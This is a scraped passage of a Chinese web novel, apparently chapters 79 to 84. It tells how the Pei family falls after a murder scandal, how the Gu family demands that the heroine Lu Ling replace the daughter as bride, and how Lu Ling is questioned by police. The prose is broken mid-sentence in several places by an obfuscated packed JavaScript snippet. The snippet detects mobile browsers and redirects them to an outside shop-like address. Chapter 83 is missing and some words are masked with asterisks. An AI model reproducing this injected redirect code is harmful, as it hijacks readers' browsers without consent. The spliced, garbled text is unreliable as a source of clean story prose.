“还有不少被裴家打压过的势力,趁机在背后煽风点火,把裴家过往的一些旧料也翻了出来,现在全网都在抵制裴家的产业,旗下的商场、公司、楼盘,全被网友刷屏抵制,股价都开始暴跌了!” 手机从杨丽华无力的手中滑落,重重摔在大理石地面上,屏幕瞬间碎裂。 她呆呆地站在原地,脸上没了半点戾气,只剩下极致的恐惧。 双腿一软,直接瘫坐在地上,眼泪瞬间涌了出来,嘴里喃喃自语:“完了...全完了...裴家要完了...” 裴老夫人更是气得浑身发抖,原本一丝不苟的银发都散乱了几分。 她猛地一拍扶手,胸口剧烈起伏,喉咙里涌上一股腥甜,差点晕过去。 她死死咬着牙,浑浊的眼睛里满是绝望与怨毒。 怎么也想不通,一向顺风顺水的裴家,怎么会因为一桩命案,陷入如此万劫不复的境地。 裴天逸回过神,强压下心底的慌乱,拿过自己的手机,点开社交平台,映入眼帘的全是 #北郊公园碎尸案凶手疑为裴家公子# #裴家仗势欺人包庇凶手# #抵制裴家所有产业#等刺眼的热搜词条,每一个词条后面都跟着“爆”字。 评论区里,网友的谩骂、愤怒、质疑铺天盖地,密密麻麻,根本刷不到尽头。 “没想到裴家是这种德行,光天化日之下杀人分尸,还想压热搜,真当钱能通天吗?” “太恶心了,死者也太可怜了,必须严惩凶手,还死者一个公道!” “之前就听说裴家横行霸道,这下彻底暴露了,坚决抵制裴家所有东西!” “听说裴家还想找替罪羊?简直无法无天,呼吁警方严查到底,绝不姑息!” 一条条评论,如同锋利的刀刃,狠狠扎在裴天逸心上。 他看着不断飙升的评论量和转发量,看着自家产业的股价一路狂跌、各大官媒接连发声,要求严查案件、绝不纵容任何势力干预司法,心底最后一丝侥幸彻底破灭。 他终于明白,这一次,不是简单的舆论风波。 而是有人精准拿捏了裴家的命脉,把所有证据摆在了台面上。 让裴家的资本与权势彻底失去作用,全网的怒火已经彻底点燃,根本不是他能轻易扑灭的。 “妈,现在……情况失控了。”裴天逸转过身,声音里带着从未有过的无力,看着裴老夫人,眼底满是凝重,“背后有人故意针对我们裴家,把所有证据都放了出来,舆论已经彻底压不住了,官媒也介入了,警方那边,肯定也不敢再轻易被我们打点,这件事,瞒不住了。” 裴老夫人靠在椅背上,脸色灰败如死,良久,才发出一声凄厉的叹息,声音沙哑得不成样子:“到底是谁...到底是谁在跟我们裴家作对...” 而另一边,傅家四合院。 傅宛然看着手机上愈演愈烈的热搜,原本苍白的脸上多了几分惊讶,随即松了口气,小声说道:“太好了,热搜没被压下去,这样警方就能好好查案,凶手肯定能被抓住,鹿小师傅也不会被冤枉了。” 傅荣华看着窗外,深邃的眼底闪过一丝了然,淡淡开口:“善恶终有报,裴家这些年作恶太多,如今不过是自食恶果,这潭水越深,越能看清底下的脏东西,鹿小师傅自然不会有事,真正该慌的,是裴家那些人。” —— 此时的裴家别墅,彻底被绝望与恐慌笼罩。 客厅里,早已是死寂一片。 只剩下杨丽华压抑的哭声,和裴老夫人沉重的喘息声。 裴天逸站在原地,看着满屏的负面舆论,脸色阴沉得能滴出水来。 他知道,裴家的天,要塌了。 —— 鹿翎回到临时住所,再次打开手机,看见的全是关于林小满的热搜。 她猜测,应该是裴家想要压,没压住,被反噬了。 而且裴家不止这件事被爆出来了,还有商业、公司上的事情也被爆出来。 刚刷到一半,工作机打了一条视频通话是容瀚音。 第79章:是你干的? 她微微挑眉,滑动屏幕接通,镜头里立刻出现容瀚音那张漫不经心的脸。 他靠在奢华的沙发上,指尖夹着一支未点燃的烟,眼底带着几分玩味的笑。 “看到新闻了?”容瀚音率先开口,语气轻松,仿佛早就预料到这一切。 鹿翎靠在椅背上,神色淡然,语气里带着几分不易察觉的惊讶:“你怎么知道?” 她思索片刻,脑子灵光乍现,直接追问:“这件事是你干的?” 她心里再清楚不过,以裴家的权势人脉,想要压下一个热搜根本不是难事。 如今裴家却落得满盘皆输的下场,这绝不是偶然,必然是有人在背后精准操盘、步步紧逼。 而容瀚音偏偏在这个时候打来电话,显然脱不了干系。 容瀚音低笑一声,指尖轻轻敲击着沙发扶手,坦然承认:“算是沾点边。有人匿名给我发了指令,让我把裴家所有黑料、案件相关证据,精准投放到各大媒体平台和营销号手里。” “我还按要求掐断了裴家所有撤热搜、控舆论的渠道,我只是按吩咐执行,至于背后是谁授意,我也不清楚。” 他顿了顿,看向镜头里的鹿翎,眼神多了几分认真,继续说道:“对方做事极为隐秘,半点痕迹都不留,连资金往来都是走的境外匿名账户,根本查不到任何线索。” “我能看出来,对方目标很明确,就是要彻底扳倒裴家,一点活路都不给,而且明摆着是在帮你解围,免得你被裴家栽赃陷害。” “鹿小师傅,你是不是得罪了什么人,又或是,有什么大人物在暗中帮你?” 鹿翎闻言,指尖微微一顿,陷入了沉思。 她在这座城市本就没什么根基,除了处理林小满的案子,从未主动与人为敌。 实在想不出谁会耗费这么大的心力,暗中帮她铲除裴家这个祸患。 对方行事狠绝果断,还手握裴家诸多核心秘辛,能力之大,远超想象,绝非普通势力能做到。 她摇了摇头,声音平静无波:“我也不清楚。暂且不管是谁,只要能还林小满公道,让裴家付出应有的代价,背后是谁在操作,都不重要。” 就在这时,鹿翎的私人手机突然急促响起,屏幕上赫然显示着“妈妈”两个字。 是养母余锦诗打来的电话。 鹿翎心头微紧,猜到养母定然是看到了网上的新闻,担心她牵扯其中,连忙对着镜头跟容瀚音说道:“先挂了,有事后续再说。” 电话刚一接通,余锦诗略带急促的声音便传了过来。 没有往日里打趣逗闹的轻松,语气里满是藏不住的担忧,却又刻意压着声调,生怕惊扰到鹿翎。 “小五,网上铺天盖地都是裴家的新闻,命案、热搜、股价暴跌,妈刷到第一眼心就揪起来了。你现在在哪?有没有被裴家的人缠上?” 鹿翎走到窗边,晚风轻轻拂过发丝,听着养母熟悉的声音,周身的冷意瞬间散了几分,声音也不自觉放得轻柔。 “妈,我在自己的临时住处,很安全,没跟裴家人碰面。他们现在自身难保,根本顾不上找我麻烦。” “安全就好,安全就好。”余锦诗连着重复两遍,悬着的心稍稍落地,却还是忍不住反复叮嘱。 “妈知道你从小跟着未大师学本事,眼界、能耐都比寻常姑娘强,可裴家到底是盘踞多年的豪门,瘦死的骆驼比马大。就算现在垮了,难保不会有丧心病狂的人狗急跳墙,你千万要小心,别单独出门,晚上锁好门窗,凡事多留个心眼。” 她絮絮叨叨说着,全是长辈对孩子的真切牵挂,却没有半分质疑鹿翎能力的意思。 顿了顿,余锦诗的语气又变得格外笃定:“不过妈也清楚,你不是莽撞的孩子,做事向来有分寸。” “你师父教出来的人,从来都不会让人操心,跟着他学了这么多年,这点小事,你肯定能拿捏得住。” 鹿翎心头一暖,嘴角不自觉勾起一抹浅淡的笑意。 和裴家那些虚伪的关心、功利的拉扯截然不同,余锦诗的担忧从来都直白又纯粹。 她既担心自己的安危,又百分百信任自己的本事。 从不把她当成需要时刻护在羽翼下的小孩,更不会像杨丽华那样,只会用母亲的身份捆绑她、指责她。 “我知道,妈,你别担心。”鹿翎轻声回应,“裴家做了那么多伤天害理的事,如今是自食恶果。我只是协助警方查林小满的案子,从头到尾都没主动招惹他们,就算他们想迁怒,也找不到由头。” “我身上有自己雕的护身符,不会有事的。” “那就行,你心里有数就好。”余锦诗彻底松了口气,语气也恢复了往日的爽朗,少了几分焦灼。 “你爸和爷爷奶奶外公外婆也都看到新闻了,都念叨着你,就是怕打扰你处理事情,没敢给你打电话。” “我们都不在你身边,没法时时刻刻护着你,但你记住,不管什么时候,家里都是你的后盾。” “要是裴家真敢有人找你麻烦,你别硬扛,给妈打电话,妈立马放下手里的活,带着你爷爷奶奶外公外婆赶过来。咱们一家人,还怕他一个失势的豪门不成?” 鹿翎听着养母底气十足的话,眼眶微微发热。 她从小被养父母托付给师父抚养,虽是留守儿童,可这份亲情从未缺席。 逢年过节的礼物、日常的暖心叮嘱、毫无保留的偏爱,她一点都不比别的孩子少。 比起裴家所谓的血脉亲情,这份毫无杂质的养育之恩,才是她真正放在心上的。 “我记得,妈。”鹿翎声音温和,比起对裴家那些人的态度差得多。 “等这边的事情彻底了结,我就来看你们,给你们带我攒的好东西,再给你们每个人重新雕一块护身符,保你们平平安安。” “好,妈等着。”余锦诗笑着应下,最后又温柔嘱咐了一句,“照顾好自己,别委屈自己,不管发生什么,妈都信你。” 挂断电话,鹿翎握着手机,站在窗边久久未动。 有这样无条件信任她、牵挂她的家人,哪怕前路再有风雨,她也无所畏惧。 而电话那头的余锦诗,放下手机,看着身边同样面露担忧的鹿父和几位老人,笑着摆了摆手。 第80章:保留婚姻,更换对象 “放心吧,小五没事,那孩子有主见,有能耐,比我们想的厉害多了,裴家那点烂事,难不倒她。咱们好好把事处理完,等她忙完,就能一家团圆了。” 余锦诗笑着安抚完家人,屋内的气氛彻底缓和下来。 —— 与此同时,裴家别墅。 客厅的茶几上,文件散落了一地,全是股价暴跌、银行催贷、合作解约的通知书。 每一张都在宣告裴家的末日。 裴天逸瘫坐在主沙发上,平日里西装革履,此刻头发凌乱,眼底布满血丝,整个人像是老了十岁。 他死死攥着手机,看着屏幕上不断跳水的股价,以及全网铺天盖地的**,只觉得胸口闷得发慌,几乎喘不上气。 裴耀阳**分尸,裴昊然包庇罪证据确凿,还有裴家多年来暗地操作的不法勾当、权钱交易,被一一曝光。 公关团队全线崩溃,撤热搜、压**的渠道全被掐断。 原来围在裴家身边的合作伙伴纷纷避之不及,银行更是直接上门催缴巨额贷款。 “爸,现在怎么办?合作方全都解约了,银行那边也下了最后通牒,再凑不出资金,咱们的产业就要被全部查封了。” 裴泽宇站在一旁,手里拿着一叠解约函,声音里满是无力。 他比谁都清楚,裴家这次是彻底栽了,背后那股势力摆明了要赶尽杀绝,不留一丝活路。 坐在角落的裴淼淼,双手紧紧绞着精致的裙摆,脸色惨白如纸,眼底满是惶恐与怨毒。 她从小被捧在手心长大,是人人艳羡的裴家大小姐,享受着锦衣玉食,走到哪里都是众星捧月。 可如今,裴家倒了,她引以为傲的一切都没了。 这一切,全都是鹿翎造成的。 如果她没回来,这一切都是好好的。 裴淼淼死死咬着唇,指甲嵌进掌心,眼底的恨意几乎要溢出来。 她这辈子都不会放过鹿翎。 裴天逸猛地掐灭烟头,抬头看向裴淼淼,浑浊的眼睛里闪过一丝希冀,声音沙哑又急切:“淼淼,现在只有一个人能救裴家了,只有顾家,只有顾景深!” 裴淼淼浑身一震,猛地抬头。 顾景深,她的未婚夫。 若是顾景深肯出手相助,裴家或许还有一线生机。 “爸,我……”裴淼淼犹豫着,迟迟不敢拿出手机。 裴天逸见状,急得站起身,厉声催促:“还愣着干什么?赶紧给景深打电话,让他立刻过来!你是他的未婚妻,裴家是你的娘家,他不能见死不救!只要他肯帮裴家,日后裴家甘愿做顾家的附庸,什么条件我们都答应!” 事到如今,他已经顾不上尊严,只要能保住裴家,付出什么代价都愿意。 裴泽宇张了张嘴,想要劝阻,却又知道这是裴家唯一的出路。 最终还是闭上了嘴,只是眼底的不安愈发浓重。 裴淼淼被逼无奈,颤抖着手刚要拨通顾景深的电话,别墅大门突然被佣人推开。 裴管家神色慌张地跑进来:“先生,小姐,顾先生和顾夫人来了,说是有要事商议。” “快请!快请他们进来!” 裴天逸喜出望外,以为顾景深是念及婚约,主动过来帮忙的,连忙整理了一下衣衫,脸上堆起讨好的笑容,快步迎了上去。 裴淼淼也松了一口气,眼底燃起希望,连忙坐直身子,强装镇定。 很快,顾景深和顾夫人并肩走了进来。 两人没有丝毫客套,径直走到沙发边坐下,佣人端上茶水,也被顾夫人抬手示意撤下,客厅里的气氛瞬间降至冰点。 “景深,顾夫人,你们可算来了,裴家这次遇到难处,还请你们一定要帮帮忙啊!”裴天逸满脸堆笑,语气卑微,全然没了往日的傲气。 顾夫人端起桌上的空茶杯,轻轻摩挲着杯沿,淡淡开口,声音清冷而决绝:“裴先生,我们今天过来,不是来帮忙的,是来谈淼淼和景深的婚事。” 这话一出,裴天逸脸上的笑容瞬间僵住。 裴淼淼的心也猛地沉了下去,一股不祥的预感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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顾景深缓缓开口,声音清晰而坚定,响彻整个客厅:“婚约可以保留,但联姻对象必须更换。裴家不能让裴淼淼嫁入顾家,顾家要的联姻人选,是鹿翎。” 第81章:更换对象为鹿翎 客厅里刚有人提起联姻要换成鹿翎的名字,空气瞬间就僵住了。 最先绷不住的不是裴家众人,而是一旁端坐的顾夫人。 她本来还是一副高高在上的态度,不过在听到“换成鹿翎”四个字时,脸色骤然一沉。 当即就变了神色,整个人瞬间炸了,眉头死死拧起,眉宇间满是厌弃与抗拒,哪里还有半分方才的沉稳端庄。 她猛地看向顾景深,语气带着压不住的愠怒和排斥,声调都拔高了几分:“景深,你胡闹什么?” 满室喧闹骤然一滞,所有人都下意识看向顾夫人。 顾夫人压根不在意裴家众人的目光,满心都是对鹿翎的不喜。 打心底里瞧不上那个身世尴尬、手段诡异的女人,半点都不情愿让她踏入顾家大门,更别说做顾家儿媳。 她冷着脸,语气带着明显的质问:“不是说只跟裴家退婚吗?好好的婚事,退了便是,大不了再给你重新挑选名门淑女,什么样的大家闺秀找不到?怎么偏偏要扯上鹿翎?” 顾夫人眼底掩不住的鄙夷与反感,语气坚决,“我宁愿继续留着裴淼淼这门婚事,也绝不愿意让鹿翎那种女人进顾家的门,当我顾家的儿媳!” 在她眼里,裴淼淼纵然骄纵任性,好歹是正经豪门出身,规矩家世摆在那里。 可鹿翎身世不清,行事诡秘,还搅得裴家鸡犬不宁,浑身都透着一股子邪气。 她打心底里抵触,半点都看不上。 顾景深面色依旧冷沉,丝毫没有因为母亲的反对而动摇,淡淡迎上她的目光:“妈,婚事不是意气用事,是为顾家大局。” “我不管什么大局!”顾夫人语气强硬,寸步不让,“裴家的事是裴家的,我们没必要非要把鹿翎绑上顾家的婚事,这事我绝不同意!” 她打从一开始就不喜欢鹿翎,如今听说要让鹿翎取而代之做顾家儿媳,更是一百个不情愿。 宁可维持原本和裴淼淼的联姻,也不愿接受鹿翎半分。 一旁的裴淼淼听到顾夫人这话,先是一愣,随即心底悄悄燃起一丝奢望,连哭闹都下意识收敛了几分。 若是顾夫人坚决反对,那鹿翎岂不是就没机会嫁入顾家了? 而顾景深神色未改,语气冷硬依旧:“婚事我已经定了,选择权不在我们,在裴家。您再反对,也改变不了现状。” 裴淼淼刚刚压下的情绪瞬间爆发,嫉妒和恨意瞬间冲昏了头脑。 她歇斯底里地尖叫起来:“不可能!我不同意!凭什么是鹿翎那个**?就是靠着旁门左道害人,她也配嫁入顾家?配嫁给你?” 她做梦都想不到,顾景深竟然要放弃她,选择那个她最瞧不起的鹿翎! 鹿翎毁了裴家,还要抢走她的未婚夫。 这份**,让她恨不得立刻冲上去撕碎鹿翎! 裴泽宇也满脸震惊,眉头拧成一团,他没想到顾家竟然会盯上鹿翎。 而就在这时,一道尖厉暴怒的声音从楼上传来。 她本来想下来问问裴天逸有没有解决裴家问题的办法。 谁知道她一下来就听到自己女儿的未婚夫要退婚。 在听到原本属于自己宝贝女儿的未婚夫要换联姻对象。 换就算了,还换到她最不喜欢的女儿的头上来了,她整个人直接炸了,彻底失控。 “顾景深!你疯了!顾夫人,你们顾家欺人太甚!” 杨丽华冲到客厅中央,指着顾家母子,气得浑身发抖,脸色狰狞可怖。 她这辈子最宝贝的就是女儿裴淼淼,最恨的就是鹿翎那个孽种。 如今顾家要退掉女儿的婚事,还要让鹿翎鸠占鹊巢,嫁入顾家,这比割她的肉还疼! “淼淼是我的宝贝女儿,是堂堂正正的裴家大小姐,顾景深是她名正言顺的未婚夫,你们凭什么说退婚就退婚?凭什么要让那个孽种代替淼淼?” “鹿翎就是个克星,从小就克家人,长大了克裴家,她就是个丧门星!我绝对不允许她嫁入顾家,绝对不允许她抢走我女儿的一切!” 杨丽华状若疯癫,声音尖厉刺耳,全然没了往日豪门夫人的优雅,满是怨毒与暴怒。 她一直觉得鹿翎是她人生的污点,是裴家的耻辱。 如今鹿翎不仅毁了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554992|204421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴家,还要夺走女儿的幸福,她怎么可能容忍? “我告诉你们,想退婚,没门!想让鹿翎嫁入顾家,更是痴心妄想!除非我死,否则谁也别想打我女儿婚事的主意!” 裴天逸看着失控的杨丽华,急得满头大汗,连忙上前拉住她:“你别胡闹了!现在是救裴家的关键时刻,别在这里添乱!” “我添乱?”杨丽华一把甩开他的手,泪眼婆娑地嘶吼,“裴天逸,你是不是疯了?为了裴家,你要牺牲我女儿的幸福,让那个孽种登堂**?我绝不答应!大不了裴家破产,我也不会让鹿翎那个小**好过!” 裴淼淼抱着杨丽华,哭得撕心裂肺,满心都是不甘与怨恨:“妈,我不要退婚,景深是我的,是鹿翎抢了我的一切,都是她的错!” 顾夫人看着裴家母女失态的模样,眼底的鄙夷更甚,冷冷开口:“裴夫人,我们不是在跟你商量,是在通知你。两条路,裴家自己选:第一,同意退婚,顾家与裴家从此一刀两断,裴家自生自灭,等着破产清算,承担所有法律责任。” “第二,更换联姻对象,让鹿翎嫁入顾家,顾家立刻出手,帮裴家稳住股价,偿还银行贷款,压下负面**,保住裴家最后的产业。” 顾景深站起身,目光冷冽,没有丝毫温度:“半天时间考虑,明天这个时候,我要结果。若是同意,就让鹿翎亲自来顾家谈;若是不同意,婚约即刻作废,顾家不会再管裴家任何事。” 说完,顾景深不再看屋内的闹剧,转身便走,顾夫人紧随其后,留下满室狼藉的裴家众人。 客厅里,杨丽华的咒骂声、裴淼淼的哭声、裴天逸的叹息声交织在一起,混乱不堪。 裴泽宇站在一旁,沉默不语,眼神复杂。 他知道,裴家已经没有选择的余地,要么覆灭,要么妥协。 裴淼淼擦干眼泪,眼底的泪水化作刻骨的恨意。 她死死攥紧拳头,指甲深深嵌进掌心,在心里疯狂嘶吼: 鹿翎,我绝不会让你如愿,就算裴家妥协,我也要毁了你,绝不会让你风风光光嫁入顾家! 第82章:找上鹿翎 —— 另一边。 酒店大堂外忽然来了两名身着制服的警察,径直走到前台报了鹿翎的名字。 前台核实信息后,连忙给楼上打了电话。 接到通知的鹿翎并不意外,神色淡然,整理了一下衣角,从容不迫地走出电梯,缓步踏出酒店旋转大门。 鹿翎的脚步刚踏出酒店旋转门,身旁两名警察神色肃穆,例行公事地做着简单示意,示意她跟随前往一旁停靠的警车。 全程语气平和,并未有半分苛待,显然也是知晓此案的特殊之处,并非将她当作嫌犯对待。 鹿翎微微颔首,抬脚便要朝着警车的方向走去。 她本就料定裴家之事败露后,警方必然会找上门来做笔录。 从引魂寻尸符找出林小满尸块,到裴昊然亲口认罪,所有证据链清晰明了。 她不过是配合走流程,心中毫无波澜,只想着尽快做完笔录,彻底了结这桩与裴家相关的糟心事。 可就在她即将走到警车旁时,一阵低沉的引擎声由远及近,黑色宾利缓缓停靠在酒店门口不远处,瞬间打破了这份平静。 鹿翎脚步微顿,眉峰几不可查地蹙起,心底莫名升起一股烦躁。 那股熟悉的、让她极度厌恶的压迫感回来了,不用回头也知道是谁来了。 车窗缓缓降下,顾夫人诧异的目光扫过鹿翎,脸色瞬间沉得能滴出水来,嘴里低声念叨着“怎么会是她”,满是不解与嫌恶。 而驾驶座上的顾景深,目光落在鹿翎那道清瘦却挺拔的身影上,眸光骤然一凝,如同寒潭结冰,周身的温度瞬间骤降。 他看着鹿翎身旁身着制服的警察,看着她素净的衣着上没有半点狼狈,却要被警方带走。 心脏像是被一只无形的手攥紧,一股难以言喻的愠怒与担忧交织在一起,瞬间席卷了他的理智。 顾夫人刚要开口询问情况,顾景深已经动作极快地打了方向盘,没有丝毫犹豫,稳稳将价值不菲的黑色宾利横停在酒店门口正前方。 恰好堵住了鹿翎与警察前往警车的路,动作霸道又强势。 全然不顾及这是公共场合,也不顾及身旁警方的目光。 不等车停稳,顾景深已经推开车门,长腿率先迈下,周身散发出的强大气场压迫感十足,周遭的空气仿佛都随之凝固。 他步履沉稳,径直朝着鹿翎的方向快步走去。 伸手便要去拉鹿翎的手腕,意图将她护在自己身后,眼神里带着他自以为是的保护欲。 “你干什么?” 鹿翎几乎是在他伸手的瞬间,猛地往后退了一步,动作快得像是避开什么污秽之物。 语气里的不耐烦再也不加掩饰,清冷的眉眼间染上了明显的厌恶。 那双素来沉静的眸子,此刻满是疏离与抗拒,直直地盯着顾景深,没有半分情面。 她本就对顾景深没有半分好感,从这场强加的联姻开始,她就对这个自以为能掌控一切的男人厌恶至极。 更何况,她本就不喜欢自大又盲目自信的男人。 这在网上被网友喊作嘉豪? 好像是的。 顾景深不分青红皂白地拦在自己面前,还想动手触碰她,彻底点燃了鹿翎心底的火气。 顾景深伸出去的手僵在半空,看着鹿翎满眼的抗拒与不耐烦。 眉头紧紧皱起,语气带着几分不解,还有几分不容拒绝的强势:“鹿翎,跟我走,警方这边我来处理,不用你跟着他们去警局。” 在他看来,鹿翎一个女孩子,被警方带走总归不好看,更何况他顾家的人,还轮不到被警方这样随意带走。 他早已让人去打探情况,知道是裴家的案子牵扯到了她。 他有能力摆平一切,根本不需要鹿翎亲自去警局面对这些麻烦。 “我跟不跟警方走,跟你有什么关系?”鹿翎冷笑一声,声音清冷,直接戳破顾景深的自以为是,“顾景深,我再说一遍,立刻让开,滚远点,别在这里挡我的路。” 她的语气没有半分缓和,满是强硬的警告,周身的疏离感愈发浓烈。 一旁的两名警察见状,脸色微微一变。 刚要上前开口,却被顾景深周身的气场震慑住,一时之间竟不好插话,只能站在一旁静观其变。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554993|204421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>顾景深看着鹿翎这般决绝的态度,脸色也沉了下来。 他从未被人如此直白地呵斥,还是被自己的联姻对象,心底的愠怒更甚。 可看着她清冷倔强的模样,又终究压下了火气,沉声道:“我是为你好,裴家的案子没那么简单,你去警局只会给自己惹麻烦,我已经安排好了,换个人跟你对接,你跟我回车里。” “为我好?”鹿翎像是听到了天大的笑话,嘴角勾起一抹讥讽的弧度,眼神里的厌恶愈发明显。 “顾景深,你所谓的为我好,就是擅自插手我的事,就是不分青红皂白地拦在这里,你是不是觉得,所有人都要顺着你的意思来,你想做什么就做什么?” 她往前踏出一步,身形清瘦,气场却丝毫不输顾景深,清冷的目光直直看向他,一字一句地说道: “我不管你有多大的本事,也不管你顾家有多少势力,这是我自己的事,我配合警方调查,是理所应当,轮不到你来指手画脚。你立刻把车挪开,滚,别再出现在我面前。” “鹿翎,你别不识好歹。”顾景深的语气也冷了下来。 他从未对一个人如此迁就,可鹿翎却始终对他充满敌意,这让他十分不解。 “我知道你对联姻不满,不过我已经找裴家说明更换联姻对象的事了,你才是我正儿八经的未婚妻。” 这句话一出,像是彻底触碰了鹿翎的逆鳞。 她原本就清冷的脸色,瞬间变得更加难看,眼底的鄙夷与愤怒再也隐藏不住。 声音陡然提高,带着浓浓的斥责:“换联姻对象?顾景深,你凭什么替我做决定?你以为你是谁?这场联姻从一开始就是你们顾家一厢情愿,我从来没有答应过,也从来没有稀罕过顾家少夫人的位置!” “你现在说要换联姻对象,是觉得我求着要嫁入顾家?还是觉得你施舍给我一个机会,我就要感恩戴德?” 鹿翎的声音冰冷刺骨,每一个字都带着锋芒,“我告诉你,就算你不换,我也绝不会嫁入顾家,半分都不会。你所谓的让步,在我眼里不过是惺惺作态,让人恶心。” 第84章:上头来人了 问询室里的气氛瞬间变得凝重起来,张警官的目光锐利如刀,直直落在鹿翎脸上,带着不容置疑的审视。 小李警官也停下了手中的笔,原本温和的神情褪去,取而代之的是职业性的怀疑。 两人的目光紧紧锁住鹿翎,仿佛要从她平静的面容下揪出谎言的痕迹。 鹿翎放下水杯,指尖轻轻敲击着桌面,神色依旧淡然,没有丝毫慌乱。 面对警方的连环追问,她抬眸看向张警官,语气平稳无波,没有半分闪躲:“我知道这些话听起来匪夷所思,换做是我站在你们的位置,也会觉得难以置信。” “但我能说的只有这些,至于所谓的特殊方式,涉及我个人的隐私与一些不便对外言说的机缘,我暂时无法详细说明。” 她顿了顿,目光坚定,继续说道:“至于人证物证,裴耀阳**分尸后,身上必然残留着死者的血迹,他处理尸体的工具、用于包裹尸块的物品,即便被他刻意销毁。” “警方只要仔细搜查裴家相关场所、他近期去过的地方,以及他驾驶的车辆,必定能找到蛛丝马迹。” “还有裴家大少爷裴昊然,他知晓整件事的来龙去脉,甚至帮裴耀阳隐瞒罪行,你们传讯他,稍加审讯,真相自然会水落石出。我提供的埋尸坐标已经得到验证,这难道还不足以证明我没有说谎吗?” 张警官眉头皱得更紧,手指轻轻叩击着桌面,发出沉闷的声响,在安静的问询室里格外清晰。 他从事刑侦工作十几年,见过形形**的嫌疑人与举报人。 像鹿翎这样年纪轻轻,却能拿出如此精准关键的线索,又对案情了如指掌,却不肯说明线索来源的,还是头一个。 “鹿小姐,我们理解你或许有难言之隐,但命案办案讲究的是证据链,讲究的是科学依据,你一句‘特殊方式’,实在无法让我们信服。” 张警官语气严肃,丝毫没有松口的意思,“你与顾家、裴家都有牵扯,我们有理由怀疑,你此举是否是为了借警方之手打压裴家,或是有其他不可告人的目的?毕竟裴顾两家都是本市顶尖家族,商场上的纷争我们见得多了。” 小李警官也在一旁附和,翻开记录本补充道:“没错,鹿小姐,你前天匿名留下证据,今天又不肯说明线索来源,这一系列行为都太过反常。如果你不肯说实话,我们只能暂时限制你的自由,直到查清所有事情为止。我们也是按规矩办事,还请你配合。” 鹿翎闻言,眼底闪过一丝不耐,却依旧克制着情绪。 她早料到警方不会相信玄学符箓之事。 毕竟这种违背常理的手段,在崇尚科学的刑侦体系里,无异于天方夜谭,只会被当成胡言乱语,甚至会被怀疑精神有问题。 她原本想着模糊带过,凭借已有的线索推动警方办案,却没想到反而引来了更深的质疑。 “我与裴家毫无瓜葛,与顾家的联姻也只是长辈定下的,我从未承认过。”鹿翎语气冷了几分。 “我没必要为了所谓的家族纷争,拿一桩命案开玩笑,更没必要拿无辜死者的公道做筹码。我之所以匿名,只是不想惹上多余的麻烦,仅此而已。” “信与不信,是你们的事,该说的我已经全部说完了。” 她挺直脊背,不再多言,目光平静地看向两人,摆出了一副随意处置的姿态。 即便被质疑、被误解,她也不愿透露符箓的秘密,这是她的底线,也是她安身立命的根本。 说给只相信物理证据的警察吗? 那不是给他们理骂自己的机会吗? 张警官和小李警官看着鹿翎油盐不进的模样,一时之间也有些束手无策。 他们没有证据证明鹿翎说谎,毕竟她提供的线索确实帮警方破了案,找到了受害者遗体,锁定了嫌疑人。 可也无法完全相信她的说辞,线索来源成谜,背后疑点重重,贸然放人担心有隐患。 强行审讯又没有合理的由头,毕竟鹿翎全程配合,没有任何反抗,也没有丝毫破绽。 就在两人僵持不下,准备起身商量后续处理办法时,问询室的门突然被轻轻敲响。 紧接着,一名年轻警员推门而入,神色带着几分紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554995|204421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张与恭敬,走到张警官身边,压低声音说道:“张队,李哥,局里紧急通知,让你们立刻放下手头的工作,去三楼大会议室,有重要领导要见你们,是关于北郊公园命案的事。” 张警官闻言,不由得一愣,眉头微蹙:“重要领导?是王局还是刘支队?我们这边问询还没结束,离不开人啊。” 在他看来,局里的领导无非就是分管刑侦的王局长,或是支队的刘支队长。 都是平日里常见的面孔,即便有工作安排,也没必要如此紧急,还特意让两人一同前往。 年轻警员摇了摇头,神色更加凝重,声音压得更低:“不是王局,也不是刘支队,是……是市局下来的领导,职位比王局还要高好几个级别,是咱们局里大领导的直属上级,特意点名要见负责这起命案的两位警官,吩咐立刻过去,一刻都不能耽误。” 这话一出,张警官和小李警官瞬间脸色一变,心中满是震惊。 比市局王局级别还高,还是大领导的直属上级。 这样的人物,平日里他们连见一面都难,怎么会突然点名要见他们,还专门针对北郊公园这起命案? 两人对视一眼,都从对方眼中看到了疑惑与不安,瞬间意识到,这起命案或许远比他们想象的要复杂。 张警官立刻收敛了神色,不敢有丝毫耽搁,站起身对警员说道:“好,我们马上过去。” 